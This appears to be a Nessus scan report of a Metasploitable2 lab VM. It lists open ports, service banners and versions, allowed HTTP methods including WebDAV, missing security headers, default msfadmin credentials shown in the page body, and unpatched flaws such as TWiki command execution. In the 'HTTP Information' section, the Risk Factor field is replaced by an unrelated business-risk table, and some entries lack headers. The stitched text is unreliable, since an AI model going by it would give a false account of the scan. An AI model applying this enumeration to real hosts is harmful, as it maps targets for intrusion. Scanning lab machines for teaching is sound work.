08:00:27:CE:DB:13 : PCS Systemtechnik GmbH
```

86420 - Ethernet MAC Addresses

Synopsis

This plugin gathers MAC addresses from various sources and consolidates them into a list.

Description

This plugin gathers MAC addresses discovered from both remote probing of the host (e.g. SNMP and Netbios) and from running local checks (e.g. ifconfig). It then consolidates the MAC addresses into a single, unique, and uniform list.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2015/10/16, Modified: 2020/05/13

Plugin Output

tcp/0

```
The following is a consolidated list of detected MAC addresses:  
- 08:00:27:CE:DB:13
```

49704 - External URLs

Synopsis

Links to external sites were gathered.

Description

Nessus gathered HREF links to external sites by crawling the remote web server.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2010/10/04, Modified: 2011/08/19

Plugin Output

tcp/80/www

```
104 external URLs were gathered on this web server :
URL... - Seen on...

http://TWiki.org/ - /twiki/bin/view/Main/WebHome
http://TWiki.org/cgi-bin/view/Main/TWikiAdminGroup - /twiki/TWikiHistory.html
http://TWiki.org/cgi-bin/view/Main/TWikiUsers - /twiki/TWikiHistory.html
http://TWiki.org/cgi-bin/view/TWiki/AlWilliams - /twiki/TWikiHistory.html
http://TWiki.org/cgi-bin/view/TWiki/AndreaSterbini - /twiki/TWikiHistory.html
http://TWiki.org/cgi-bin/view/TWiki/BookView - /twiki/TWikiHistory.html
http://TWiki.org/cgi-bin/view/TWiki/ChangePassword - /twiki/TWikiHistory.html
http://TWiki.org/cgi-bin/view/TWiki/ChristopheVermeulen - /twiki/TWikiHistory.html
http://TWiki.org/cgi-bin/view/TWiki/ColasNahaboo - /twiki/TWikiHistory.html
http://TWiki.org/cgi-bin/view/TWiki/CrisBailiff - /twiki/TWikiHistory.html
http://TWiki.org/cgi-bin/view/TWiki/DavidWarman - /twiki/TWikiHistory.html
http://TWiki.org/cgi-bin/view/TWiki/DontNotify - /twiki/TWikiHistory.html
http://TWiki.org/cgi-bin/view/TWiki/FileAttachment - /twiki/TWikiHistory.html
http://TWiki.org/cgi-bin/view/TWiki/FormattedSearch - /twiki/TWikiHistory.html
http://TWiki.org/cgi-bin/view/TWiki/HaroldGottschalk - /twiki/TWikiHistory.html
http://TWiki.org/cgi-bin/view/TWiki/InterwikiPlugin - /twiki/TWikiHistory.html
http://TWiki.org/cgi-bin/view/TWiki/JohnAltstadt - /twiki/TWikiHistory.html
http://TWiki.org/cgi-bin/view/TWiki/JohnTalintyre - /twiki/TWikiHistory.html
http://TWiki.org/cgi-bin/view/TWiki/KevinKinnell - /twiki/TWikiHistory.html
http://TWiki.org/cgi-bin/view/TWiki/KlausWriessnegger - /twiki/TWikiHistory.html
http://TWiki.org/cgi-bin/view/TWiki/ManagingTopics - /twiki/TWikiHistory.html
http://TWiki.org/cgi-bin/view/TWiki/ManagingWebs - /twiki/TWikiHistory.html
http://TWiki.org/cgi-bin/view/TWiki/ManpreetSingh - /twiki/TWikiHistory.html
http://TWiki.org/cgi-bin/view/TWiki/NewUserTemplate - /twiki/TWikiHistory.html
http://TWiki.org/cgi-bin/view/TWiki/NicholasLee - /twiki/TWikiHistory.html
http://TWiki.org/cgi- [...]
```


10092 - FTP Server Detection

Synopsis

An FTP server is listening on a remote port.

Description

It is possible to obtain the banner of the remote FTP server by connecting to a remote port.

Solution

n/a

Risk Factor

None

References

XREF IAVT:0001-T-0030

XREF IAVT:0001-T-0943

Plugin Information

Published: 1999/10/12, Modified: 2023/08/17

Plugin Output

tcp/21/ftp

```
The remote FTP banner is :
```

```
220 (vsFTPD 2.3.4)
```

43111 - HTTP Methods Allowed (per directory)

Synopsis

This plugin determines which HTTP methods are allowed on various CGI directories.

Description

By calling the OPTIONS method, it is possible to determine which HTTP methods are allowed on each directory.

The following HTTP methods are considered insecure:

PUT, DELETE, CONNECT, TRACE, HEAD

Many frameworks and languages treat 'HEAD' as a 'GET' request, albeit one without any body in the response. If a security constraint was set on 'GET' requests such that only 'authenticatedUsers' could access GET requests for a particular servlet or resource, it would be bypassed for the 'HEAD' version. This allowed unauthorized blind submission of any privileged GET request.

As this list may be incomplete, the plugin also tests - if 'Thorough tests' are enabled or 'Enable web applications tests' is set to 'yes'

in the scan policy - various known HTTP methods on each directory and considers them as unsupported if it receives a response code of 400, 403, 405, or 501.

Note that the plugin output is only informational and does not necessarily indicate the presence of any security vulnerabilities.

See Also

<http://www.nessus.org/u?d9c03a9a>

<http://www.nessus.org/u?b019cbdb>

[https://www.owasp.org/index.php/Test_HTTP_Methods_\(OTG-CONFIG-006\)](https://www.owasp.org/index.php/Test_HTTP_Methods_(OTG-CONFIG-006))

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2009/12/10, Modified: 2022/04/11

Plugin Output

tcp/80/www

Based on the response to an OPTIONS request :

- HTTP methods COPY DELETE GET HEAD LOCK MOVE OPTIONS POST PROPFIND PROPPATCH TRACE UNLOCK are allowed on :

/dav

- HTTP methods GET HEAD OPTIONS POST TRACE are allowed on :

/doc
/dvwa/dvwa
/dvwa/dvwa/css
/dvwa/dvwa/images
/dvwa/dvwa/includes
/dvwa/dvwa/includes/DBMS
/dvwa/dvwa/js
/icons
/mutillidae/documentation
/mutillidae/styles
/mutillidae/styles/ddsmoothmenu
/test
/test/testoutput
/twiki

Based on tests of each method :

- HTTP methods ACL BASELINE-CONTROL BCOPY BDELETE BMOVE BPROPFIND BPROPPATCH CHECKIN CHECKOUT COPY DEBUG DELETE GET HEAD INDEX LABEL LOCK MERGE MKACTION MKCOL MKWORKSPACE MOVE NOTIFY OPTIONS ORDERPATCH PATCH POLL POST PROPFIND PROPPATCH PUT REPORT RPC_IN_DATA RPC_OUT_DATA SEARCH SUBSCRIBE TRACE UNCHECKOUT UNLOCK UNSUBSCRIBE UPDATE VERSION-CONTROL X-MS-ENUMATTS are allowed on :

/cgi-bin
/twiki/bin

- HTTP methods COPY DELETE GET HEAD MKCOL MKWORKSPACE MOVE NOTIFY OPTIONS ORDERPATCH PATCH POLL POST PROPFIND PROPPATCH PUT REPORT RPC_IN_DATA RPC_OUT_DATA SEARCH SUBSCRIBE TRACE UNCHECKOUT UNLOCK UNSUBSCRIBE UPDATE VERSION-CONTROL X-MS-ENUMATTS are allowed on :

/dav

- HTTP methods GET HEAD OPTIONS POST TRACE are allowed on :

/
/doc
/dvwa
/dvwa/dvwa
/dvwa/dvwa/css
/dvwa/dvwa/images
/dvwa/dvwa/includes
/dvwa/dvwa/includes/DBMS
/dvwa/dvwa/js
/icons
/mutillidae
/mutillidae/documentation
/mutillidae/styles
/mutillidae/styles/ddsmoothmenu
/phpMyAdmin
/test
/test/testoutput
/twiki

- Invalid/unknown HTTP methods are allowed on :

/cgi-bin
/dav

10107 - HTTP Server Type and Version

Synopsis

A web server is running on the remote host.

Description

This plugin attempts to determine the type and the version of the remote web server.

Solution

n/a

Risk Factor

None

References

XREF IAVT:0001-T-0931

Plugin Information

Published: 2000/01/04, Modified: 2020/10/30

Plugin Output

tcp/80/www

```
The remote web server type is :  
Apache/2.2.8 (Ubuntu) DAV/2
```

24260 - HyperText Transfer Protocol (HTTP) Information

Synopsis

Some information about the remote HTTP configuration can be extracted.

Description

This test gives some information about the remote HTTP protocol - the version used, whether HTTP Keep-Alive is enabled, etc...

This test is informational only and does not denote any security problem.

Solution

n/a

Risk Factor	Impact	Control
1. Lack of industry connections	Reduced sales and market penetration	Networking and strategic partnerships
2. Limited marketing budget	Reduced brand awareness and customer acquisition	Targeted marketing and social media engagement
3. Intense competition	Reduced market share and profitability	Product differentiation and competitive pricing
4. Economic downturn	Reduced consumer spending and demand	Cost reduction and diversification
5. Technological changes	Reduced relevance and competitiveness	Continuous innovation and R&D investment
6. Regulatory changes	Increased compliance costs and operational challenges	Proactive regulatory engagement and adaptation
7. Supply chain disruptions	Increased costs and delivery delays	Diversification of suppliers and inventory management
8. Talent acquisition challenges	Reduced productivity and innovation	Competitive compensation and employee development
9. Poor timing of product launch	Reduced initial sales and momentum	Market research and strategic timing
10. Limited product range	Reduced customer loyalty and repeat purchases	Product diversification and expansion

None

Plugin Information

Published: 2007/01/30, Modified: 2024/02/26

Plugin Output

tcp/80/www

Response Code : HTTP/1.1 200 OK

```
Protocol version : HTTP/1.1
```

HTTP/2 TLS Support: No

HTTP/2 Cleartext Support: No

```
SSL : no
```

Keep-Alive : yes

Options allowed : (Not implemented)

Headers :

Date: Wed, 11 Sep 2024 14:03:24 GMT

Server: Apache/2.2.8 (Ubuntu) DAV/2

X-Powered-By: PHP/5.2.4-2ubuntu5.10

Content-Length: 891

```
Keep-Alive: timeout=15, max=100
```

Connection: Keep-Alive

Content-Type: text/html

Response Body :

```
<html><head><title>Metasploitable2 - Linux</title></head><body>
<pre>
```

[illegible]

|_| |_| |_| _| _| _|, |_| |_| ._| / |_| _| / |_| _| _|, |_| ._| / |_| _| |_| |_|
|_|

Warning: Never expose this VM to an untrusted network!

Contact: msfdev[at]metasploit.com

Login with msfadmin/msfadmin to get started

```
</pre>
<ul>
<li><a href="/twiki/">TWiki</a></li>
<li><a href="/phpMyAdmin/">phpMyAdmin</a></li>
<li><a href="/mutillidae/">Mutillidae</a></li>
<li><a href="/dvwa/">DVWA</a></li>
<li><a href="/dav/">WebDAV</a></li>
</ul>
</body>
</html>
```

42410 - Microsoft Windows NTLMSSP Authentication Request Remote Network Name Disclosure

Synopsis

It is possible to obtain the network name of the remote host.

Description

The remote host listens on tcp port 445 and replies to SMB requests.

By sending an NTLMSSP authentication request it is possible to obtain the name of the remote system and the name of its domain.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2009/11/06, Modified: 2019/11/22

Plugin Output

tcp/445/cifs

```
The following 2 NetBIOS names have been gathered :
```

```
METASPLOITABLE = Computer name  
METASPLOITABLE = Workgroup / Domain name
```

10397 - Microsoft Windows SMB LanMan Pipe Server Listing Disclosure

Synopsis

It is possible to obtain network information.

Description

It was possible to obtain the browse list of the remote Windows system by sending a request to the LANMAN pipe. The browse list is the list of the nearest Windows systems of the remote host.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2000/05/09, Modified: 2022/02/01

Plugin Output

tcp/445/cifs

```
Here is the browse list of the remote host :
```

```
METASPLOITABLE ( os : 0.0 )
```

Synopsis

It was possible to obtain information about the remote operating system.

Description

Nessus was able to obtain the remote operating system name and version (Windows and/or Samba) by sending an authentication request to port 139 or 445. Note that this plugin requires SMB to be enabled on the host.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2001/10/17, Modified: 2021/09/20

Plugin Output

tcp/445/cifs

```
The remote Operating System is : Unix
The remote native LAN manager is : Samba 3.0.20-Debian
The remote SMB Domain Name is : METASPLOITABLE
```


11011 - Microsoft Windows SMB Service Detection

Synopsis

A file / print sharing service is listening on the remote host.

Description

The remote service understands the CIFS (Common Internet File System) or Server Message Block (SMB) protocol, used to provide shared access to files, printers, etc between nodes on a network.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2002/06/05, Modified: 2021/02/11

Plugin Output

tcp/139/smb

```
An SMB server is running on this port.
```

11011 - Microsoft Windows SMB Service Detection

Synopsis

A file / print sharing service is listening on the remote host.

Description

The remote service understands the CIFS (Common Internet File System) or Server Message Block (SMB) protocol, used to provide shared access to files, printers, etc between nodes on a network.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2002/06/05, Modified: 2021/02/11

Plugin Output

tcp/445/cifs

```
A CIFS server is running on this port.
```

100871 - Microsoft Windows SMB Versions Supported (remote check)

Synopsis

It was possible to obtain information about the version of SMB running on the remote host.

Description

Nessus was able to obtain the version of SMB running on the remote host by sending an authentication request to port 139 or 445.

Note that this plugin is a remote check and does not work on agents.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2017/06/19, Modified: 2019/11/22

Plugin Output

tcp/445/cifs

```
The remote host supports the following versions of SMB :  
SMBv1
```

106716 - Microsoft Windows SMB2 and SMB3 Dialects Supported (remote check)

Synopsis

It was possible to obtain information about the dialects of SMB2 and SMB3 available on the remote host.

Description

Nessus was able to obtain the set of SMB2 and SMB3 dialects running on the remote host by sending an authentication request to port 139 or 445.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2018/02/09, Modified: 2020/03/11

Plugin Output

tcp/445/cifs

```
The remote host does NOT support the following SMB dialects :
__version__  __introduced in windows version__
2.0.2        Windows 2008
2.1          Windows 7
2.2.2        Windows 8 Beta
2.2.4        Windows 8 Beta
3.0          Windows 8
3.0.2        Windows 8.1
3.1          Windows 10
3.1.1        Windows 10
```

50344 - Missing or Permissive Content-Security-Policy frame-ancestors HTTP Response Header

Synopsis

The remote web server does not take steps to mitigate a class of web application vulnerabilities.

Description

The remote web server in some responses sets a permissive Content-Security-Policy (CSP) frame-ancestors response header or does not set one at all.

The CSP frame-ancestors header has been proposed by the W3C Web Application Security Working Group as a way to mitigate cross-site scripting and clickjacking attacks.

See Also

<http://www.nessus.org/u?55aa8f57>

<http://www.nessus.org/u?07cc2a06>

<https://content-security-policy.com/>

<https://www.w3.org/TR/CSP2/>

Solution

Set a non-permissive Content-Security-Policy frame-ancestors header for all requested resources.

Risk Factor

None

Plugin Information

Published: 2010/10/26, Modified: 2021/01/19

Plugin Output

tcp/80/www

The following pages do not set a Content-Security-Policy frame-ancestors response header or set a permissive policy:

- <http://192.168.50.152/>
- <http://192.168.50.152/dav/>
- <http://192.168.50.152/dvwa/dvwa/>
- <http://192.168.50.152/dvwa/dvwa/css/>
- <http://192.168.50.152/dvwa/dvwa/images/>
- <http://192.168.50.152/dvwa/dvwa/includes/>
- <http://192.168.50.152/dvwa/dvwa/includes/DBMS/>
- <http://192.168.50.152/dvwa/dvwa/includes/DBMS/DBMS.php>
- <http://192.168.50.152/dvwa/dvwa/includes/DBMS/MySQL.php>
- <http://192.168.50.152/dvwa/dvwa/includes/dvwaPage.inc.php>
- <http://192.168.50.152/dvwa/dvwa/includes/dvwaPhpIds.inc.php>

- <http://192.168.50.152/dvwa/dvwa/js/>
- <http://192.168.50.152/dvwa/login.php>
- <http://192.168.50.152/mutillidae/>
- <http://192.168.50.152/mutillidae/documentation/>
- <http://192.168.50.152/mutillidae/documentation/how-to-access-Mutillidae-over-Virtual-Box-network.php>
- <http://192.168.50.152/mutillidae/documentation/vulnerabilities.php>
- <http://192.168.50.152/mutillidae/framer.html>
- <http://192.168.50.152/mutillidae/index.php>
- <http://192.168.50.152/mutillidae/set-up-database.php>
- <http://192.168.50.152/mutillidae/styles/>
- <http://192.168.50.152/mutillidae/styles/ddsmoothmenu/>
- <http://192.168.50.152/phpMyAdmin/>
- <http://192.168.50.152/phpMyAdmin/index.php>
- <http://192.168.50.152/test/>
- <http://192.168.50.152/test/testoutput/>
- <http://192.168.50.152/twiki/>
- <http://192.168.50.152/twiki/TWikiHistory.html>
- <http://192.168.50.152/twiki/bin/oops>
- <http://192.168.50.152/twiki/bin/oops/Main>
- <http://192.168.50.152/twiki/bin/oops/Main/WebHomemailto%3Awebmasteryour>
- <http://192.168.50.152/twiki/bin/oops/Main/WebHomemailto%3Awebmasteryour/company>
- <http://192.168.50.152/twiki/bin/search>
- <http://192.168.50.152/twiki/bin/search/Main>
- <http://192.168.50.152/twiki/bin/search/Main/SearchResult>
- <http://192.168.50.152/twiki/bin/view>
- <http://192.168.50.152/twiki/bin/view/Main>
- <http://192.168.50.152/twiki/bin/view/Main/WebHome>

50345 - Missing or Permissive X-Frame-Options HTTP Response Header

Synopsis

The remote web server does not take steps to mitigate a class of web application vulnerabilities.

Description

The remote web server in some responses sets a permissive X-Frame-Options response header or does not set one at all.

The X-Frame-Options header has been proposed by Microsoft as a way to mitigate clickjacking attacks and is currently supported by all major browser vendors

See Also

<https://en.wikipedia.org/wiki/Clickjacking>

<http://www.nessus.org/u?399b1f56>

Solution

Set a properly configured X-Frame-Options header for all requested resources.

Risk Factor

None

Plugin Information

Published: 2010/10/26, Modified: 2021/01/19

Plugin Output

tcp/80/www

The following pages do not set a X-Frame-Options response header or set a permissive policy:

- http://192.168.50.152/
- http://192.168.50.152/dav/
- http://192.168.50.152/dvwa/dvwa/
- http://192.168.50.152/dvwa/dvwa/css/
- http://192.168.50.152/dvwa/dvwa/images/
- http://192.168.50.152/dvwa/dvwa/includes/
- http://192.168.50.152/dvwa/dvwa/includes/DBMS/
- http://192.168.50.152/dvwa/dvwa/includes/DBMS/DBMS.php
- http://192.168.50.152/dvwa/dvwa/includes/DBMS/MySQL.php
- http://192.168.50.152/dvwa/dvwa/includes/dvwaPage.inc.php
- http://192.168.50.152/dvwa/dvwa/includes/dvwaPhpIds.inc.php
- http://192.168.50.152/dvwa/dvwa/js/
- http://192.168.50.152/dvwa/login.php
- http://192.168.50.152/mutillidae/
- http://192.168.50.152/mutillidae/documentation/

- <http://192.168.50.152/mutillidae/documentation/how-to-access-Mutillidae-over-Virtual-Box-network.php>
- <http://192.168.50.152/mutillidae/documentation/vulnerabilities.php>
- <http://192.168.50.152/mutillidae/framer.html>
- <http://192.168.50.152/mutillidae/index.php>
- <http://192.168.50.152/mutillidae/set-up-database.php>
- <http://192.168.50.152/mutillidae/styles/>
- <http://192.168.50.152/mutillidae/styles/ddsmoothmenu/>
- <http://192.168.50.152/phpMyAdmin/>
- <http://192.168.50.152/phpMyAdmin/index.php>
- <http://192.168.50.152/test/>
- <http://192.168.50.152/test/testoutput/>
- <http://192.168.50.152/twiki/>
- <http://192.168.50.152/twiki/TWikiHistory.html>
- <http://192.168.50.152/twiki/bin/oops>
- <http://192.168.50.152/twiki/bin/oops/Main>
- <http://192.168.50.152/twiki/bin/oops/Main/WebHomemailto%3Awebmasteryour>
- <http://192.168.50.152/twiki/bin/oops/Main/WebHomemailto%3Awebmasteryour/company>
- <http://192.168.50.152/twiki/bin/search>
- <http://192.168.50.152/twiki/bin/search/Main>
- <http://192.168.50.152/twiki/bin/search/Main/SearchResult>
- <http://192.168.50.152/twiki/bin/view>
- <http://192.168.50.152/twiki/bin/view/Main>
- <http://192.168.50.152/twiki/bin/view/Main/WebHome>

Synopsis

It is possible to determine which TCP ports are open.

Description

This plugin is a SYN 'half-open' port scanner. It shall be reasonably quick even against a firewalled target.

Note that SYN scans are less intrusive than TCP (full connect) scans against broken services, but they might cause problems for less robust firewalls and also leave unclosed connections on the remote target, if the network is loaded.

Solution

Protect your target with an IP filter.

Risk Factor

None

Plugin Information

Published: 2009/02/04, Modified: 2024/05/20

Plugin Output

tcp/21/ftp

```
Port 21/tcp was found to be open
```

Synopsis

It is possible to determine which TCP ports are open.

Description

This plugin is a SYN 'half-open' port scanner. It shall be reasonably quick even against a firewalled target.

Note that SYN scans are less intrusive than TCP (full connect) scans against broken services, but they might cause problems for less robust firewalls and also leave unclosed connections on the remote target, if the network is loaded.

Solution

Protect your target with an IP filter.

Risk Factor

None

Plugin Information

Published: 2009/02/04, Modified: 2024/05/20

Plugin Output

tcp/22/ssh

```
Port 22/tcp was found to be open
```

Synopsis

It is possible to determine which TCP ports are open.

Description

This plugin is a SYN 'half-open' port scanner. It shall be reasonably quick even against a firewalled target.

Note that SYN scans are less intrusive than TCP (full connect) scans against broken services, but they might cause problems for less robust firewalls and also leave unclosed connections on the remote target, if the network is loaded.

Solution

Protect your target with an IP filter.

Risk Factor

None

Plugin Information

Published: 2009/02/04, Modified: 2024/05/20

Plugin Output

tcp/23/telnet

```
Port 23/tcp was found to be open
```

Synopsis

It is possible to determine which TCP ports are open.

Description

This plugin is a SYN 'half-open' port scanner. It shall be reasonably quick even against a firewalled target.

Note that SYN scans are less intrusive than TCP (full connect) scans against broken services, but they might cause problems for less robust firewalls and also leave unclosed connections on the remote target, if the network is loaded.

Solution

Protect your target with an IP filter.

Risk Factor

None

Plugin Information

Published: 2009/02/04, Modified: 2024/05/20

Plugin Output

tcp/25/smtp

```
Port 25/tcp was found to be open
```

Synopsis

It is possible to determine which TCP ports are open.

Description

This plugin is a SYN 'half-open' port scanner. It shall be reasonably quick even against a firewalled target.

Note that SYN scans are less intrusive than TCP (full connect) scans against broken services, but they might cause problems for less robust firewalls and also leave unclosed connections on the remote target, if the network is loaded.

Solution

Protect your target with an IP filter.

Risk Factor

None

Plugin Information

Published: 2009/02/04, Modified: 2024/05/20

Plugin Output

tcp/80/www

```
Port 80/tcp was found to be open
```

Synopsis

It is possible to determine which TCP ports are open.

Description

This plugin is a SYN 'half-open' port scanner. It shall be reasonably quick even against a firewalled target.

Note that SYN scans are less intrusive than TCP (full connect) scans against broken services, but they might cause problems for less robust firewalls and also leave unclosed connections on the remote target, if the network is loaded.

Solution

Protect your target with an IP filter.

Risk Factor

None

Plugin Information

Published: 2009/02/04, Modified: 2024/05/20

Plugin Output

tcp/139/smb

```
Port 139/tcp was found to be open
```

Synopsis

It is possible to determine which TCP ports are open.

Description

This plugin is a SYN 'half-open' port scanner. It shall be reasonably quick even against a firewalled target.

Note that SYN scans are less intrusive than TCP (full connect) scans against broken services, but they might cause problems for less robust firewalls and also leave unclosed connections on the remote target, if the network is loaded.

Solution

Protect your target with an IP filter.

Risk Factor

None

Plugin Information

Published: 2009/02/04, Modified: 2024/05/20

Plugin Output

tcp/445/cifs

```
Port 445/tcp was found to be open
```

Synopsis

This plugin displays information about the Nessus scan.

Description

This plugin displays, for each tested host, information about the scan itself :

- The version of the plugin set.
- The type of scanner (Nessus or Nessus Home).
- The version of the Nessus Engine.
- The port scanner(s) used.
- The port range scanned.
- The ping round trip time
- Whether credentialed or third-party patch management checks are possible.
- Whether the display of superseded patches is enabled
- The date of the scan.
- The duration of the scan.
- The number of hosts scanned in parallel.
- The number of checks done in parallel.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2005/08/26, Modified: 2024/08/05

Plugin Output

tcp/0

```
Information about this scan :
```

```
Nessus version : 10.8.2
Nessus build : 20007
Plugin feed version : 202409110508
Scanner edition used : Nessus Home
Scanner OS : LINUX
Scanner distribution : debian10-x86-64
Scan type : Normal
Scan name : META
```



```
Scan policy used : Basic Network Scan
Scanner IP : 192.168.50.150
Port scanner(s) : nessus_syn_scanner
Port range : 21, 22, 23, 25, 80, 110, 139, 443, 445, 3389
Ping RTT : 210.059 ms
Thorough tests : no
Experimental tests : no
Scan for Unpatched Vulnerabilities : no
Plugin debugging enabled : no
Paranoia level : 1
Report verbosity : 1
Safe checks : yes
Optimize the test : no
Credentialed checks : no
Patch management checks : None
Display superseded patches : yes (supersedence plugin did not launch)
CGI scanning : enabled
Web application tests : enabled
Web app tests - Test mode : single
Web app tests - Try all HTTP methods : no
Web app tests - Maximum run time : 5 minutes.
Web app tests - Stop at first flaw : CGI
Max hosts : 30
Max checks : 5
Recv timeout : 5
Backports : Detected
Allow post-scan editing : Yes
Nessus Plugin Signature Checking : Enabled
Audit File Signature Checking : Disabled
Scan Start Date : 2024/9/11 9:58 EDT
Scan duration : 1538 sec
Scan for malware : no
```

11936 - OS Identification

Synopsis

It is possible to guess the remote operating system.

Description

Using a combination of remote probes (e.g., TCP/IP, SMB, HTTP, NTP, SNMP, etc.), it is possible to guess the name of the remote operating system in use. It is also possible sometimes to guess the version of the operating system.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2003/12/09, Modified: 2024/06/19

Plugin Output

tcp/0

```
Remote operating system : Unix
Confidence level : 99
Method : MSRPC
```

Not all fingerprints could give a match. If you think some or all of the following could be used to identify the host's operating system, please email them to os-signatures@nessus.org. Be sure to include a brief description of the host itself, such as the actual operating system or product / model names.

```
SSH:SSH-2.0-OpenSSH_4.7p1 Debian-8ubuntu1
```

```
SinFP:
```

```
P1:B10113:F0x12:W5840:00204ffff:M1460:
P2:B10113:F0x12:W5792:00204ffff0402080affffff4445414401030305:M1460:
P3:B00000:F0x00:W0:00:M0
P4:191002_7_p=25
```

```
SMTP:!:220 metasploitable.localdomain ESMTP Postfix (Ubuntu)
```

```
SSLcert:!:i/CN:ubuntu804-base.localdomaini/O:OCOSai/OU:Office for Complication of Otherwise Simple
Affairss/CN:ubuntu804-base.localdomains/O:OCOSAs/OU:Office for Complication of Otherwise Simple
Affairs
ed093088706603bfd5dc237399b498da2d4d31c6
```

The remote host is running Unix

117886 - OS Security Patch Assessment Not Available

Synopsis

OS Security Patch Assessment is not available.

Description

OS Security Patch Assessment is not available on the remote host.

This does not necessarily indicate a problem with the scan.

Credentials may not have been provided, OS security patch assessment may not be supported for the target, the target may not have been identified, or another issue may have occurred that prevented OS security patch assessment from being available. See plugin output for details.

This plugin reports non-failure information impacting the availability of OS Security Patch Assessment. Failure information is reported by plugin 21745 : 'OS Security Patch Assessment failed'. If a target host is not supported for OS Security Patch Assessment, plugin 110695 : 'OS Security Patch Assessment Checks Not Supported' will report concurrently with this plugin.

Solution

n/a

Risk Factor

None

References

XREF IAVB:0001-B-0515

Plugin Information

Published: 2018/10/02, Modified: 2021/07/12

Plugin Output

tcp/0

The following issues were reported :

```
- Plugin      : no_local_checks_credentials.nasl
  Plugin ID   : 110723
  Plugin Name : Target Credential Status by Authentication Protocol - No Credentials Provided
  Message     :
  Credentials were not provided for detected SSH service.
```

181418 - OpenSSH Detection

Synopsis

An OpenSSH-based SSH server was detected on the remote host.

Description

An OpenSSH-based SSH server was detected on the remote host.

See Also

<https://www.openssh.com/>

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2023/09/14, Modified: 2024/09/09

Plugin Output

tcp/22/ssh

```
Service : ssh
Version : 4.7p1
Banner  : SSH-2.0-OpenSSH_4.7p1 Debian-8ubuntu1
```

50845 - OpenSSL Detection

Synopsis

The remote service appears to use OpenSSL to encrypt traffic.

Description

Based on its response to a TLS request with a specially crafted server name extension, it seems that the remote service is using the OpenSSL library to encrypt traffic.

Note that this plugin can only detect OpenSSL implementations that have enabled support for TLS extensions (RFC 4366).

See Also

<https://www.openssl.org/>

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2010/11/30, Modified: 2020/06/12

Plugin Output

tcp/25/smtp

48243 - PHP Version Detection

Synopsis

It was possible to obtain the version number of the remote PHP installation.

Description

Nessus was able to determine the version of PHP available on the remote web server.

Solution

n/a

Risk Factor

None

References

XREF IAVT:0001-T-0936

Plugin Information

Published: 2010/08/04, Modified: 2024/05/31

Plugin Output

tcp/80/www

Nessus was able to identify the following PHP version information :

```
Version : 5.2.4-2ubuntu5.10
Source  : X-Powered-By: PHP/5.2.4-2ubuntu5.10
Source  : http://192.168.50.152/phpinfo.php
```

Synopsis

The remote host is missing several patches.

Description

The remote host is missing one or more security patches. This plugin lists the newest version of each patch to install to make sure the remote host is up-to-date.

Note: Because the 'Show missing patches that have been superseded' setting in your scan policy depends on this plugin, it will always run and cannot be disabled.

Solution

Install the patches listed below.

Risk Factor

None

Plugin Information

Published: 2013/07/08, Modified: 2024/09/10

Plugin Output

tcp/0

```
. You need to take the following 3 actions :

[ Samba Badlock Vulnerability (90509) ]
+ Action to take : Upgrade to Samba version 4.2.11 / 4.3.8 / 4.4.2 or later.

[ TWiki 'rev' Parameter Arbitrary Command Execution (19704) ]
+ Action to take : Apply the appropriate hotfix referenced in the vendor advisory.

[ phpMyAdmin prior to 4.8.6 SQLi vulnerability (PMASA-2019-3) (125855) ]
+ Action to take : Upgrade to phpMyAdmin version 4.8.6 or later.
Alternatively, apply the patches referenced in the vendor advisories.

+Impact : Taking this action will resolve 2 different vulnerabilities (CVEs).
```

10263 - SMTP Server Detection

Synopsis

An SMTP server is listening on the remote port.

Description

The remote host is running a mail (SMTP) server on this port.

Since SMTP servers are the targets of spammers, it is recommended you disable it if you do not use it.

Solution

Disable this service if you do not use it, or filter incoming traffic to this port.

Risk Factor

None

References

XREF IAVT:0001-T-0932

Plugin Information

Published: 1999/10/12, Modified: 2020/09/22

Plugin Output

tcp/25/smtp

```
Remote SMTP server banner :  
220 metasploitable.localdomain ESMTP Postfix (Ubuntu)
```


42088 - SMTP Service STARTTLS Command Support

Synopsis

The remote mail service supports encrypting traffic.

Description

The remote SMTP service supports the use of the 'STARTTLS' command to switch from a cleartext to an encrypted communications channel.

See Also

<https://en.wikipedia.org/wiki/STARTTLS>

<https://tools.ietf.org/html/rfc2487>

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2009/10/09, Modified: 2019/03/20

Plugin Output

tcp/25/smtp

```
Here is the SMTP service's SSL certificate that Nessus was able to
collect after sending a 'STARTTLS' command :
```

```
----- snip -----
Subject Name:

Country: XX
State/Province: There is no such thing outside US
Locality: Everywhere
Organization: OCOSA
Organization Unit: Office for Complication of Otherwise Simple Affairs
Common Name: ubuntu804-base.localdomain
Email Address: root@ubuntu804-base.localdomain

Issuer Name:

Country: XX
State/Province: There is no such thing outside US
Locality: Everywhere
Organization: OCOSA
Organization Unit: Office for Complication of Otherwise Simple Affairs
```

```
Common Name: ubuntu804-base.localdomain
Email Address: root@ubuntu804-base.localdomain

Serial Number: 00 FA F9 3A 4C 7F B6 B9 CC

Version: 1

Signature Algorithm: SHA-1 With RSA Encryption

Not Valid Before: Mar 17 14:07:45 2010 GMT
Not Valid After: Apr 16 14:07:45 2010 GMT

Public Key Info:

Algorithm: RSA Encryption
Key Length: 1024 bits
Public Key: 00 D6 B4 13 36 33 9A 95 71 7B 1B DE 7C 83 75 DA 71 B1 3C A9
             7F FE AD 64 1B 77 E9 4F AE BE CA D4 F8 CB EF AE BB 43 79 24
             73 FF 3C E5 9E 3B 6D FC C8 B1 AC FA 4C 4D 5E 9B 4C 99 54 0B
             D7 A8 4A 50 BA A9 DE 1D 1F F4 E4 6B 02 A3 F4 6B 45 CD 4C AF
             8D 89 62 33 8F 65 BB 36 61 9F C4 2C 73 C1 4E 2E A0 A8 14 4E
             98 70 46 61 BB D1 B9 31 DF 8C 99 EE 75 6B 79 3C 40 A0 AE 97
             00 90 9D DC 99 0D 33 A4 B5
Exponent: 01 00 01

Signature Length: 128 bytes / 1024 bits
